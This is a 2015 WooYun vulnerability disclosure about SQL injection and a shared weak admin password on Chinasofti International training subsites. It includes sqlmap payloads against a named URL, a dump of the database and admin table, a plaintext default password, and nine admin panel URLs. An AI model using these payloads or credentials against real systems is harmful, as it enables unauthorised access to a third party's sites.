当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124107

漏洞标题：中软国际某分站SQL注入+全分站后台弱口令

相关厂商：中软国际

漏洞作者： vicker

提交时间：2015-07-02 15:28

修复时间：2015-08-16 15:30

公开时间：2015-08-16 15:30

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：7

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-02： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中软国际某分站SQL注入获取数据库+全分站后台弱口令

详细说明：

1.SQL注入
注入点：

http://cqetc.chinasofti.com/list.php?c=8


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: c
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=8' AND 2516=2516 AND 'arSC'='arSC
    Type: UNION query
    Title: MySQL UNION query (NULL) - 13 columns
    Payload: c=8' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
 NULL, NULL, NULL, CONCAT(0x3a696d713a,0x665265615a424154514a,0x3a6977733a), NUL
L, NULL, NULL#
---


available databases [10]:
[*] cdetc
[*] cqetc
[*] dedecmsv57gbksp1
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpdisk
[*] test
[*] ultrax
[*] xaetc


Database: cdetc
[35 tables]
+--------------------------------+
| sql_module_advertisement       |
| sql_module_class               |
| sql_module_feedback            |
| sql_module_guestbook           |
| sql_module_guestbook_writeback |
| sql_module_link                |
| sql_module_search_word         |
| sql_module_switchimage         |
| sql_module_tagindex            |
| sql_module_template            |
| sql_system_public_article      |
| sql_system_public_class        |
| sql_system_public_content      |
| sql_system_public_custom       |
| sql_system_public_download     |
| sql_system_public_image        |
| sql_system_public_job          |
| sql_system_public_link         |
| sql_system_public_nav          |
| sql_system_public_nav_class    |
| sql_system_public_photo        |
| sql_system_public_product      |
| sql_system_public_type         |
| sql_user_admin                 |
| sql_user_admin_class           |
| sql_website_bg_notice          |
| sql_website_config             |
| sql_website_diary_record       |
| sql_website_file               |
| sql_website_file_cache         |
| sql_website_info               |
| sql_website_info_type          |
| sql_website_shortcut           |
| sql_website_update             |
| sql_website_word               |
+--------------------------------+


Database: cdetc
Table: sql_user_admin
[3 entries]
+---------------+----------------------------------+
| user          | password                         |
+---------------+----------------------------------+
| administrator | f48f8*****************b4fee55ec5 |
| hxkj          | f48f8*****************b4fee55ec5 |
| etc           | 0ab44*****************8d6faab1b8 |
+---------------+----------------------------------+


后台GET：

后台界面.png


2.后台弱口令
比较后发现其他分站后台均为同一系统，于是猜测administrator帐号密码为默认密码，弱口令：administrator administrator2018
受影响分站：

http://xmetc.chinasofti.com/manage/
http://xaetc.chinasofti.com/manage/
http://wxetc.chinasofti.com/manage/
http://tjetc.chinasofti.com/manage/
http://syetc.chinasofti.com/manage/
http://njetc.chinasofti.com/manage/
http://dletc.chinasofti.com/manage/
http://cqetc.chinasofti.com/manage/
http://cdetc.chinasofti.com/manage/

漏洞证明：

同上

修复方案：

你们懂~

版权声明：转载请注明来源 vicker@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：8 (WooYun评价)

漏洞评价：

评论

  1. 2015-07-13 17:13 | vicker ( 路人 | Rank:20 漏洞数:5 | = =，)

    @中软国际 自己修复了，不认领什么鬼，也是醉了